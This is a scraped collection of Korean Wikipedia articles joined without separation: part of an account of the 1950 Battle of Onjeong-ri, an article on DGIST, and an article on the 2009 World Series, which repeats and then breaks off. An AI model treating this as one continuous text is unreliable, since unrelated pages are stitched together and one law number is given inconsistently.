불의의 기습을 받아 혼란 상태에 빠지자 김준교 소령이 지휘하는 제1대대를 직동으로 급히 이동케 하여 중공군의 측후방으로부터 지원공격토록 하였다. 또 제1대대가 직동에 도착하여 06:00부터 공격을 시작하게 되자 동림산록의 405고지 일대에서 1개 대대 규모의 적이 완강히 저항하므로 제2중대를 정면에서 견제토록 하는 한편 제1중대로서 온정리로 통하는 도로 양측에 중공군을 추격한 다음 제 2대대를 지원하였으며 제3중대는 제4중대의 지원 하에 장동 뒷산의 중공군을 공격토록 하였으나 중공군은 완강히 저항할 뿐만 아니라 계속 증원하여 11:00에는 인해전술을 감행 하기에 이르렀다. 이로써 쌍방간에 치열한 혈전이 전개되었으나 중공군은 독전대의 총부리 앞에 몰려 주문을 읽으면서 광란하므로 제1대대 마저 드디어 분전상태에 빠지게 되었다. 10월 30일[편집] 이날 제2연대는 전연대가 개천에 도착하여 제1대대와 제2대대는 부대를 재정비 하였으며 제3대대는 군단명령에 따라 개천의 경비에 임하였다. 한편 제19연대는 제3대대가 온정리 일대에서 병력을 수습하여 사주경계를 실시하고 있다가 명에 의거 유상동을 경유하여 개천으로 이동하였고 제1대대 및 제2대대의 분산병력도 적진을 돌파하고 속속 개천에 도착되고 있었다. 결과 및 영향[편집] 10월 24일부터 10월 30일까지 7일간에 걸친 초산 및 온정리 부근에서 벌어진 전투로 제6사단은 약 4:1의 대병력과 불의에 대치하게 되어 선전감투를 하였으나 급작스럽게 침공한 중공군의 인해전술로 인하여 민족의 숙원인 통일을 목전에 두고 국경에서 물러서야 하는 쓰라림을 겪었고 특히 제7연대는 부연대장 최영수 중령, 제2대대장 김종수 중령, 제3대대장 조한섭 소령이 포로가 되었으며 중대장 12명 중 5명이 전사했다. 10월 25일 반격전을 개시한 중공군은 10월 26일 온정리를 탈환하고 제7연대가 초산 및 고장에서 물러서자 계속하여 501고지에서 제19연대 3대대의 방어진을 돌파하여 희천으로 향하는 동시에 그 주력은 병요지지 상의 요충인 청천강선으로 남진을 계속하였다. 즉 중공군 제40군의 주력은 온정리와 태평을 침공한 다음 우익 제8사단의 정면으로 침입한 중공군 제38군과 희천에서 합류하여, 국군의 제7사단 및 제8사단이 형성하고 있는 청천강 방어선의 종심깊이 침습을 감행하며 계속 남하를 기도하였고, 좌익 제1사단의 정면으로 침공한 중공군 제39군은 운산을 거쳐 영변과 개천으로 침략을 계속하였다. 이때의 중공군은 산악지대에서 준동하던 북한군의 패잔병과 합세하여 인해전법을 감행하며 수도 평양에 이르는 요충인 청천강 방어선을 돌파하기 위하여 광분하고 있었다. 각주[편집] ↑ 한국전쟁사 (국방부, 전쟁기념사업회) vdeh 한국 전쟁 대한민국 (대한민국 국군) 조선민주주의인민공화국 (조선인민군) 참전국 그리스 왕국 남아프리카 연방 네덜란드 뉴질랜드 미국 벨기에 & 룩셈부르크 소련 에티오피아 제국 영국 오스트레일리아 중화인민공화국 캐나다 콜롬비아 태국 터키 프랑스 필리핀 의료지원국 노르웨이 덴마크 스웨덴 이탈리아 인도 헝가리 대중문화 다큐멘터리 영화 영화 도서 재연 M*A*S*H 전투 서열 미국 제8군 제7함대 제5공군 유엔군 중국인민지원군 배경 한반도 분단 제2차 국공 내전 애치슨 선언 조중동맹조약 주요 전투 폭풍 작전 조선인민군의 서울 점령 한강 전투 오산 전투 대전 전투 부산 교두보 전투 인천 상륙 작전 서울 수복 평양 탈환 장진호 전투 흥남 철수 작전 1·4 후퇴 선더볼트 작전 중공군 춘계공세 피의 능선 전투 백마고지 전투 금성 전투 기타 여파 화학전 논란 탈영병 정전 MiG 골목길 블랙리스트 포티 글로리 기념 공원 전쟁 기념관 무기 원본 주소 "https://ko.wikipedia.org/w/index.php?title=온정리_전투&oldid=24351499" 분류: 1950년 남북 관계1950년 분쟁한국 전쟁의 전투대한민국의 전투중화인민공화국의 전투운산군1950년 한국1950년 10월 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 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대구경북과학기술원 - 위키백과, 우리 모두의 백과사전 대구경북과학기술원 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 좌표: 북위 35° 42′ 19″ 동경 128° 27′ 25.6″ / 북위 35.70528° 동경 128.457111°  / 35.70528; 128.457111 이 문서의 내용은 출처가 분명하지 않습니다.이 문서를 편집하여, 신뢰할 수 있는 출처를 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견은 토론 문서에서 나누어 주세요. (2016년 1월) 대구경북과학기술원Daegu Gyeongbuk Institute of Science and Technology 종류 국립 특수대학교설립 2004년 9월 7일총장 국양국가 대한민국위치 대구광역시 달성군 현풍읍테크노중앙대로 333 대구경북과학기술원의 위치 재단법인 대구경북과학기술원(大邱慶北科學技術院, Daegu Gyeongbuk Institute of Science and Technology)은 2003년 12월 11일 제정된 대구경북과학기술원법(법률 제699호)에 따라 설립된 과학기술정보통신부 산하 기타공공기관이다. 약칭은 DGIST이다. 2004년 국책연구기관으로 출범한 DGIST는 2011년 대학원 석박사 과정을 개설했고, 2014년 학부과정을 개설해 교육을 시작했다. 목차 1 설립 목적 2 연혁 2.1 역대 총장 2.1.1 원장 2.1.2 총장 3 교육과정 3.1 학사 과정 3.2 석·박사 과정 4 연구부서 4.1 연구처 및 부설기관 5 학술 대회 5.1 DGIF 6 연혁 7 조직 8 같이 보기 9 각주 10 외부 링크 설립 목적[편집] DGIST(대구경북과학기술원)는 첨단과학기술의 혁신을 선도할 고급과학기술인재를 양성하고 지역산업의 기술적 발전 및 경쟁력 향상을 위하여 지식기반산업 및 첨단과학분야를 연구개발하고 그 성과를 보급함으로써 지역균형발전과 국가과학기술발전에 이바지함을 목적으로 한다.[1] 연혁[편집] 2003년 12월 11일 대구경북과학기술연구원법 제정(법률 제 6996호,2003년 12월 11일) 2004년 09월 07일 재단법인 설립 등기 2008년 06월 13일 대구경북과학기술원법 공포(법률 제 9108호) 2011년 12월 14일 DGIST 부설 한국뇌연구원 설립 2012년 07월 16일 DGIST-LBNL공동연구센터 개소 2012년 10월 08일 기초과학연구원 식물노화·수명연구단 유치 2012년 10월 30일 CPS(사이버물리시스템)글로벌센터 개소 2013년 06월 11일 웰니스융합연구센터 개소 2013년 10월 25일 뇌대사체학 연구센터 개소 2015년 04월 01일 DGIST 융합연구원 설립(DGIST 연구본부에서 융합연구원으로 승격 개편) 역대 총장[편집] 원장[편집] 2004년 09월 03일 제1대 정규석 원장 취임 2007년 09월 03일 제2대 이인선 원장 취임 총장[편집] 2011년 02월 25일 신성철 초대총장 취임 2015년 02월 26일 신성철 2대 총장 2017년 03월 22일 손상혁 3대 총장 취임 2019년 04월 01일 국양 4대 총장 취임 교육과정[편집] 학사 과정[편집] 융복합대학 기초학부 하나만을 두고 있다. 기초학부(School of Basic Science) 석·박사 과정[편집] 2015년 현재 총 6개의 전공을 중심으로 운영되고 있다. 신물질과학전공(Emerging Materials Science) 정보통신융합공학전공(Information & Communication Engineering) 로봇공학전공(Robotics Engineering) 에너지시스템공학전공(Energy Systems Engineering) 뇌·인지과학전공(Brain and Cognitive Sciences) 뉴바이올로지전공(New Biology) 연구부서[편집] 나노·에너지융합연구부 태양에너지융합연구센터 IoT·로봇융합연구부 웰니스융합연구센터 신물질연구센터[깨진 링크(과거 내용 찾기)] 고신뢰 CPS연구센터[깨진 링크(과거 내용 찾기)] 마이크로레이저융합연구센터 미래자동차융합연구센터 마이크로로봇연구센터 연구처 및 부설기관[편집] 산학협력단 중앙기기센터[깨진 링크(과거 내용 찾기)] 슈퍼컴퓨팅·빅데이터센터 실험동물센터 미래전략사업유치기획단 한국뇌연구원 학술 대회[편집] DGIF[편집] DGIF(DGIST Global Innovation Festival, DGIST 글로벌 이노베이션 페스티벌)의 약자로, DGIST(대구경북과학기술원)에서 2012년부터 매년 개최하는 과학기술분야 국제 종합 학술대회이다. DGIST의 여섯 개 특성화 분야인 신물질과학, 정보통신융합, 의료로봇, 그린에너지, 뇌과학, 뉴바이올로지 분야의 국내외 최정상급 연구자와 산업계 인사들, 교육자들이 모여 과학기술의 새로운 연구 동향을 공유하며 발전 방향을 모색하는 학술대회이다. 2012년 대구 EXCO에서 열린 첫 학술대회에 1,000여명의 국내외 최정상급 연구자와 산업계 인사들, 교육자들이 참가하였다. 2014년부터 행사 장소를 준공 완료된 DGIST 학사캠퍼스로 옮겨 그 해 12월에 개최하였다. DGIST 6개 특성화 분야의 최신 연구 및 기술 성과 공유를 통해 글로벌 연구 수월성 제고 및 공동연구 확대 계기 마련하며, 학술 정보 습득과 교환, 글로벌 네트워크 확장, 지역산업 활성화, 과학 대중화 기여에 개최 목적을 두고 있다. 연혁[편집] 2012년 12월 6일~7 / 대구 EXCO 제1회 DGIF 개최 2013년 11월 21일~22 / 대구 EXCO 제2회 DGIF 개최 2014년 11월 20일~21 / 대구 DGIST 학사캠퍼스 제3회 DGIF 개최 조직[편집] DGIF는 DGIST(대구경북과학기술원)에 조직위원회를 두고 있다. 같이 보기[편집] KAIST GIST UNIST POSTECH 각주[편집] ↑ “대구경북과학기술원정관 제1장 제2조(목적)”. 2015년 2월 17일에 원본 문서에서 보존된 문서. 2014년 7월 17일에 확인함.  외부 링크[편집] 대구경북과학기술원 - 공식 웹사이트 vdeh 대구광역시의 대학초등학교 | 중학교 | 고등학교 | 대학국립 경북대학교 (대구캠퍼스) 대구경북과학기술원 대구교육대학교 한국방송통신대학교 (대구경북지역대학) 사립 계명대학교 대구가톨릭대학교 (루가캠퍼스·유스티노캠퍼스) 대구대학교 (대명동캠퍼스) 대구한의대학교 (수성캠퍼스) 영남대학교 (대구캠퍼스) 전문대학 계명문화대학교 대구공업대학교 대구과학대학교 대구보건대학교 수성대학교 영남이공대학교 영진전문대학교 한국폴리텍Ⅵ대학 (대구캠퍼스) 한국폴리텍특성화대학 (섬유패션캠퍼스) 사이버대학 영진사이버대학교 서울특별시 | 부산광역시 | 대구광역시 | 인천광역시 | 광주광역시 | 대전광역시 | 울산광역시 | 세종특별자치시경기도 | 강원도 | 충청북도 | 충청남도 | 전라북도 | 전라남도 | 경상북도 | 경상남도 | 제주특별자치도 vdeh대한민국의 국립 대학 국립 공립 일반대학 강릉원주대학교 강원대학교4 경남과학기술대학교 경북대학교4 경상대학교4 공주대학교 군산대학교 금오공과대학교 목포대학교 목포해양대학교 부경대학교 부산대학교4 서울과학기술대학교 서울대학교1 4 순천대학교 안동대학교 인천대학교1 전남대학교4 전북대학교4 제주대학교4 창원대학교 충남대학교4 충북대학교4 한경대학교 한국교원대학교 한국교통대학교 한국체육대학교 한국해양대학교 한밭대학교 교육대학 경인교육대학교 공주교육대학교 광주교육대학교 대구교육대학교 부산교육대학교 서울교육대학교 전주교육대학교 진주교육대학교 청주교육대학교 춘천교육대학교 특수대학 광주과학기술원2 대구경북과학기술원2 울산과학기술원2 한국과학기술원2 한국예술종합학교3 한국전통문화대학교3 대학원대학 국립암센터국제암대학원대학교2 한국학대학원2 전문대학 한국농수산대학 한국복지대학교 방송통신대학 한국방송통신대학교 1국립대법인 2특별법법인 3특별법국립 4거점국립대학교 vdeh 대한민국의 기타공공기관국무조정실 산하 경제인문사회연구회 과학기술정책연구원 국토연구원 대외경제정책연구원 산업연구원 에너지경제연구원 정보통신정책연구원 통일연구원 한국개발연구원 한국교육개발원 한국교육과정평가원 한국교통연구원 한국노동연구원 한국농촌경제연구원 한국법제연구원 한국보건사회연구원 한국여성정책연구원 한국조세재정연구원 한국직업능력개발원 한국청소년정책연구원 한국해양수산개발원 한국행정연구원 한국형사정책연구원 한국환경정책평가연구원 공정거래위원회 산하 한국공정거래조정원 금융위원회 산하 서민금융진흥원 한국예탁결제원 한국산업은행 중소기업은행 원자력안전위원회 산하 한국원자력안전재단 한국원자력통제기술원 국가보훈처 산하 88관광개발 식품의약품안전처 산하 한국의약품안전관리원 식품안전정보원 의료기기정보기술지원센터 기획재정부 산하 한국투자공사 한국수출입은행 교육부 산하 강릉원주대학교치과병원 강원대학교병원 경북대학교병원 경북대학교치과병원 경상대학교병원 국가평생교육진흥원 동북아역사재단 부산대학교병원 부산대학교치과병원 서울대학교병원 서울대학교치과병원 전남대학교병원 전북대학교병원 제주대학교병원 충남대학교병원 충북대학교병원 한국고전번역원 한국사학진흥재단 한국학중앙연구원 과학기술정보통신부 산하 우체국시설관리단 광주과학기술원 국가과학기술연구회 국립광주과학관 국립대구과학관 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연구성과실용화진흥원 우체국금융개발원 우체국물류지원단 우체국시설관리단 울산과학기술원 정보통신산업진흥원 한국과학기술기획평가원 한국과학기술원 한국과학창의재단 한국나노기술원 한국데이터진흥원 한국방송통신전파진흥원 한국여성과학기술인지원센터 한국연구재단 한국우편사업진흥원 한국원자력의학원 한국인터넷진흥원 한국정보화진흥원 국가과학기술연구회 한국건설기술연구원 한국과학기술연구원 한국과학기술정보연구원 한국기계연구원 한국기초과학지원연구원 한국생명공학연구원 한국생산기술연구원 한국식품연구원 한국에너지기술연구원 한국원자력연구원 한국전기연구원 한국전자통신연구원 한국지질자원연구원 한국천문연구원 한국철도기술연구원 한국표준과학연구원 한국한의학연구원 한국항공우주연구원 한국화학연구원 소관기관 한국과학기술한림원 국가연구시설장비진흥센터 과학기술인공제회 지식정보보안산업협회 한국과학관협회 한국전파진흥협회 한국정보통신공사협회 한국정보통신기술협회 한국정보통신진흥협회 과학기술연합대학원대학교 정보통신공제조합 (소관 사단법인 소관 재단법인) 과학기술연합대학원대학교(UST), 광주과학기술원(GIST), 대구경북과학기술원(DGIST), 울산과학기술원(UNIST), 한국과학기술원(KAIST)은 대학(또는 대학원) 기능을 가진 법인이다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=대구경북과학기술원&oldid=24083570" 분류: 대한민국의 기타공공기관대구광역시의 대학교달성군의 학교1995년 설립대한민국의 국립 대학과학기술원공공기관 (과학기술정보통신부 소관)학술회의숨은 분류: 위키데이터에 있는 좌표출처가 필요한 글/2016년 1월출처가 필요한 모든 글전체에 출처가 필요한 글영어 표기를 포함한 문서대학 정보 틀에서 알 수 없는 변수를 사용하고 있는 문서깨진 링크를 가지고 있는 문서위키데이터와 위키백과에서 차이가 있는 공식 웹사이트지도가 있는 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 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2009년 월드 시리즈 - 위키백과, 우리 모두의 백과사전 2009년 월드 시리즈 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 2009년 월드 시리즈 팀 리그 승 뉴욕 양키스 아메리칸 리그 4 필라델피아 필리스 내셔널 리그 2 경기 정보 경기 일정 2009년 10월 28일 ~ 11월 4일 MVP 마쓰이 히데키 소속 팀 정보 뉴욕 양키스(아메리칸 리그) 감독 조 지라디 시즌 성적 103승 59패 (동부 지구 1위) 필라델피아 필리스(내셔널 리그) 감독 찰리 매뉴얼 시즌 성적 93승 69패 (동부 지구 1위) 월드 시리즈  < 2008 2010 >  2009년 월드 시리즈(2009 World Series)는 제105회 메이저 리그 베이스볼 월드 시리즈다. 시리즈는 10월 28일부터 11월 4일 까지 치러졌다. 내셔널 리그 우승팀인 필라델피아 필리스와 아메리칸 리그 우승팀인 뉴욕 양키스가 맞붙어 6차전에서 뉴욕 양키스가 필라델피아 필리스를 꺾고 4승 2패로 월드시리즈 우승을 차지했다. MVP는 동양인 최초로 마쓰이 히데키가 수상했다. 이로써 뉴욕 양키스는 2000년 이후 9년 만에 27번째 우승을 차지하게 되었다. 목차 1 포스트 시즌 결과 1.1 필라델피아 필리스 1.2 뉴욕 양키스 2 경기 결과 2.1 1차전 2.2 2차전 2.3 3차전 2.4 4차전 2.5 5차전 2.6 6차전 3 시리즈 요약 3.1 이닝 별 득점 현황 4 각주 5 외부 링크 포스트 시즌 결과[편집] 필라델피아 필리스[편집] 오프 시즌 동안 3년간의 임기를 마치고 물러난 팻 길릭의 뒤를 이어 루벤 아마로 주니어가 단장으로 취임했다. FA로 팀을 떠난 팻 버렐의 공백을 메우기 위해 라울 이바네즈를 FA로 영입했으며, 구원 투수 J.C. 로메로가 메이저 리그 약물 정책을 위반하여 50경기 출장 정지 조치를 받은 자리를 채우기 위하여 FA 투수였던 박찬호를 영입했다. 그러나 박찬호는 스프링캠프에 5선발 후보로써 합류하였다. 정규 시즌동안 필라델피아 필리스는 5월 30일 동부 지구 1위에 오른 이후 선두자리를 유지했다. 또한 트레이드 데드 라인 시점에서 클리블랜드 인디언스에 유망주 4명을 내주는 조건으로 투수 클리프 리와 외야수 벤 프란시스코를 데려왔다. 클리프 리는 필라델피아에서 가진 12번의 선발 기회에서 7승을 따내는 활약을 펼쳤으며 라울 이바네즈는 시즌 초반 3할이 넘는 타율과 17홈런 46타점을 기록하며 맹활약했으나 6월 중순 부상을 당했고, 부상 이후로는 어떠한 달에서 월 타율 2할 6푼을 넘기지 못했다. 비록 MVP 후보로 손꼽히던 라울 이바네즈가 실망스러운 시즌을 보냈으나 팀 동료였던 라이언 하워드와 체이스 어틀리는 시즌 내내 맹활약을 선보이며 각각 MVP 투표 3위와 8위에 올랐다. 결국 필리스는 93승 69패 (승률 0.574)로 2위 플로리다 말린스를 6경기차로 제치며 리그 우승에 성공했다. 포스트 시즌에서 필리스는 내셔널 리그 디비전 시리즈에서 콜로라도 로키스와 경기를 치렀으며 3승 1패로 내셔널 리그 챔피언십 시리즈에 진출, LA 다저스와 경기를 치러 4승 1패로 월드 시리즈에 진출했다. 1995년-1996년 애틀랜타 브레이브스 이후 최초의 내셔널 리그 2연패이자 2000년-2001년 뉴욕 양키스 이후 처음으로 월드시리즈 2년 연속 진출에 성공했다. 라이언 하워드는 내셔널리그 챔피언십 시리즈에서 훌륭한 공격력을 보여주며 시리즈 MVP에 올랐다. 뉴욕 양키스[편집] 양키스의 오프 시즌은 2008년 11월, 오랫동안 팀을 이끌었던 '빅 보스' 조지 스타인브레너가 구단주 자리를 아들 할 스타인브레너에게 양도했다. 이후 팀은 전반적인 개혁 작업에 착수했는데 이미 2008년 11월 20일, 은퇴를 선언한 마이크 무시나의 뒤를 이어 바비 어브레이유, 제이슨 지암비와 칼 파바노를 떠나보냈다. 빈 자리를 메우기 위해 투수 CC 사바시아와 A.J. 버넷을 FA 영입한데 이어 1루수 마크 테세이라를 영입하고 시카고 화이트 삭스로부터 닉 스위셔를 트레이드 영입했다. 양키스는 2009년, 85년간 사용했던 "올드" 양키 스타디움을 떠나 새로운 양키 스타디움에서 첫 시즌을 맞았다. 그들은 19승을 거둔 사바시아와 30홈런-100타점의 알렉스 로드리게스, 39홈런-122타점의 텍세이라의 활약과 함께 103승 59패라는 호성적을 기록하며 지구 라이벌 보스턴 레드 삭스를 누르고 지구 우승을 차지했다. 마무리 투수 마리아노 리베라는 메츠전에서 통산 500 세이브 달성에 성공했고, 2009년 9월 11일 데릭 지터는 2,722호 안타를 기록하며 양키스 레전드 루 게릭의 양키스 소속 통산 최다 안타 기록을 경신했다. 뉴욕 양키스는 아메리칸 리그 디비전 시리즈에서 미네소타 트윈스와 경기를 치렀으며 3승 0패로 아메리칸 리그 챔피언십 시리즈에 진출, LA 에인절스와 경기를 치러 4승 2패로 월드 시리즈에 진출했다. 사바시아는 아메리칸 리그 챔피언십 시리즈 MVP에 올랐으며, 양키스는 플로리다와의 2003년 월드 시리즈 이후 처음으로 40번째 월드시리즈 무대를 밟았다. 경기 결과[편집] 1차전[편집] 필라델피아 선발 클리프 리가 2009년 정규시즌 투구하는 모습. 2009년 10월 28일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 1 0 2 2 6 9 1 {{{원정팀볼넷}}} 뉴욕 0 0 0 0 0 0 0 0 1 1 6 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : CC 사바시아  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(3회 1점, 6회 1점) 2차전[편집] 2009년 10월 29일, 뉴욕 브롱크스, 양키 스타디움 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 1 0 0 0 0 0 0 0 1 6 0 {{{원정팀볼넷}}} 뉴욕 0 0 0 1 0 1 1 0 X 3 8 0 {{{홈팀볼넷}}} 승리 투수 : A.J. 버넷  패전 투수 : 페드로 마르티네스  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  NYY – 마크 테세이라(4회 1점), 마쓰이 히데키(6회 1점) 3차전[편집] 2009년 10월 31일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 0 0 0 2 3 1 1 1 0 8 8 1 {{{원정팀볼넷}}} 필라델피아 0 3 0 0 0 1 0 0 1 5 6 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 콜 해멀스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  NYY – 알렉스 로드리게스(4회 2점), 닉 스위셔(6회 1점), 마쓰이 히데키(8회 1점)  PHI – 제이슨 워스(2회 1점, 6회 1점), 카를로스 루이스(9회 1점) 4차전[편집] 2009년 11월 1일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 2 0 0 2 0 0 0 0 3 7 9 1 {{{원정팀볼넷}}} 필라델피아 1 0 0 1 0 0 1 1 0 4 8 1 {{{홈팀볼넷}}} 승리 투수 : 조바 챔벌레인  패전 투수 : 브래드 릿지  세이브 : 마리아노 리베라  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(7회 1점), 페드로 펠리즈(8회 1점) 5차전[편집] 2009년 11월 2일, 미국 펜실베이니아주 필라델피아, 시티즌스 뱅크 파크 팀 1 2 3 4 5 6 7 8 9 R H E B 뉴욕 1 0 0 0 1 0 0 3 1 6 10 0 {{{원정팀볼넷}}} 필라델피아 3 0 3 0 0 0 2 0 X 8 9 0 {{{홈팀볼넷}}} 승리 투수 : 클리프 리  패전 투수 : A.J. 버넷  세이브 : 라이언 맷슨  홀드 : {{{홀드투수}}}홈런 :  PHI – 체이스 어틀리(2회 1점, 7회 1점), 라울 이바네즈(7회 1점) 6차전[편집] 2009년 11월 4일, 뉴욕 브롱크스, 양키 스타디움 월드 시리즈 MVP를 차지한 양키스의 마쓰이 히데키. 팀 1 2 3 4 5 6 7 8 9 R H E B 필라델피아 0 0 1 0 0 2 0 0 0 3 6 0 {{{원정팀볼넷}}} 뉴욕 0 2 2 0 3 0 0 0 X 7 8 0 {{{홈팀볼넷}}} 승리 투수 : 앤디 페티트  패전 투수 : 페드로 마르티네스  세이브 :   홀드 : {{{홀드투수}}}홈런 :  PHI – 라이언 하워드(6회 2점)  NYY – 마쓰이 히데키(2회 2점) 시리즈 요약[편집] 뉴욕 양키스가 4승 2패로 우승을 차지했고, MVP는 뉴욕 양키스의 지명 타자 마쓰이 히데키가 수상했다. 경기 경기 점수 (원정팀이 앞, 홈팀이 뒤) 날짜 구장 관중 수 1 필라델피아 필리스 – 6, 뉴욕 양키스 – 1 10월 28일 양키 스타디움 50,207명[1] 2 필라델피아 필리스 – 1, 뉴욕 양키스 – 3 10월 29일 양키 스타디움 50,181명[2] 3 뉴욕 양키스 – 8, 필라델피아 필리스 – 5 10월 31일 시티즌스 뱅크 파크 46,061명[3] 4 뉴욕 양키스 – 7, 필라델피아 필리스 – 4 11월 1일 시티즌스 뱅크 파크 46,145명[4] 5 뉴욕 양키스 – 6, 필라델피아 필리스 – 8 11월 2일 시티즌스 뱅크 파크 46,178명[5] 6 필라델피아 필리스 – 3, 뉴욕 양키스 – 7 11월 4일 양키 스타디움 50,315명[6] 이닝 별 득점 현황[편집] 팀 1 2 3 4 5 6 7 8 9 R H E 뉴욕 양키스 3 2 2 5 7 2 2 4 5 32 49 2 필라델피아 필리스 4 4 5 1 0 4 3 3 3 27 44 2 총 관중 수: 289,087명   평균 관중 수: 48,181명 각주[편집] ↑ “Re-Phils for Cliff, Chase” (영어). MLB.com. 2009년 10월 28일. 2011년 7월 13일에 확인함.  ↑ “Father time: Yanks top Pedro” (영어). MLB.com. 2009년 10월 29일. 2011년 7월 13일에 확인함.  ↑ “Lights, camera, action for Yanks” (영어). MLB.com. 2009년 10월 31일. 2011년 7월 13일에 확인함.  ↑ “What is a 3-1 Series lead, Alex?” (영어). MLB.com. 2009년 11월 1일. 2011년 7월 13일에 확인함.  ↑ “Phils cut to the Chase” (영어). MLB.com. 2009년 11월 2일. 2011년 7월 13일에 확인함.  ↑ “Champs in the BronXXVII” (영어). MLB.com. 2009년 11월 4일. 2011년 7월 13일에 확인함.  외부 링크[편집] vdeh월드 시리즈1900년대 1900 · 1901 · 1902 · 1903 1904 1905 1906 1907 1908 1909 1910년대 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920년대 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930년대 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940년대 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950년대 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960년대 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970년대 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980년대 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990년대 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000년대 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010년대 2010 2011 2012 2013 2014 2015 2016 2017 2018 월드 시리즈 역대 우승 팀 목록 월드 시리즈 MVP 커미셔너스 트로피 ALCS NLCS ALDS NLDS vdeh뉴욕 양키스 - 2009년 월드 시리즈 우승 선수 2 데릭 지터 11 브렛 가드너 13 알렉스 로드리게스 14 에릭 힌스키 17 제리 헤어스턴 주니어 18 조니 데이먼 19 라미로 페냐 20 호르헤 포사다 24 로빈슨 카노 25 마크 테세이라 26 호세 몰리나 29 프란시스코 세르벨리 30 데이비드 로버트슨 33 닉 스위셔 34 A.J 버넷 41 채드 고딘 42 마리아노 리베라 43 다마소 마르테 46 앤디 페티트 47 프레디 구즈먼 48 필 코크 52 CC 사바시아 53 멜키 카브레라 55 마쓰이 히데키 (월드시리즈 MVP) 62 조바 체임벌린 65 필 휴즈 91 알프레도 아세베스 99 브라이언 브루니 감독 27 조 지라디 벤치코치 56 토니 페냐 1루코치 50 믹 켈레허 3루코치 59 롭 톰슨 타격코치 54 케빈 롱 투수코치 58 데이브 아일랜드 볼펜코치 57 마이크 하키 원본 주소 "https://ko.wikipedia.org/w/index.php?title=2009년_월드_시리즈&oldid=22398752" 분류: 월드 시리즈2009년 야구2009년 10월2009년 11월숨은 분류: CS1 - 영어 인용 (en) 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisItaliano日本語LatviešuPortuguêsSimple English中文 링크 편집 이 문서는 2018년 9월 15일 (토) 11:39에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
2009년 월드 시리즈 - 위키백과, 우리 모두의 백과사전 2009년 월드 시리즈 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 2009년 월드 시리즈 팀 리그 승 뉴욕 양키스 아메리칸 리그 4 필라델피아 필리스 내셔널 리그 2 경기 정보 경기 일정 2009년 10월 28일 ~ 11월 4일 MVP 마쓰이 히데키 소속 팀 정보 뉴욕 양키스(아메리칸 리그) 감독 조 지라디 시즌 성적 103승 59패 (동부 지구 1위) 필라델피아 필리스(내셔널 리그) 감독 찰리 매뉴얼 시즌 성적 93승 69패 (동부 지구 1위) 월드 시리즈  < 2008 2010 >  2009년 월드 시리즈(2009 World Series)는 제105회 메이저 리그 베이스볼 월드 시리즈다. 시리즈는 10월 28일부터 11월 4일 까지 치러졌다. 내셔널 리그 우승팀인 필라델피아 필리스와 아메리칸 리그 우승팀인 뉴욕 양키스가 맞붙어 6차전에서 뉴욕 양키스가 필라델피아 필리스를 꺾고 4승 2패로 월드시리즈 우승을 차지했다. MVP는 동양인 최초로 마쓰이 히데키가 수상했다. 이로써 뉴욕 양키스는 2000년 이후 9년 만에 27번째 우승을 차지하게 되었다. 목차 1 포스트 시즌 결과 1.1 필라델피아 필리스 1.2 뉴욕 양키스 2 경기 결과 2.1 1차전 2.2 2차전 2.3 3차전 2.4 4차전 2.5 5차전 2.6 6차전 3 시리즈 요약 3.1 이닝 별 득점 현황 4 각주 5 외부 링크 포스트 시즌 결과[편집] 필라델피아 필리스[편집] 오프 시즌 동안 3년간의 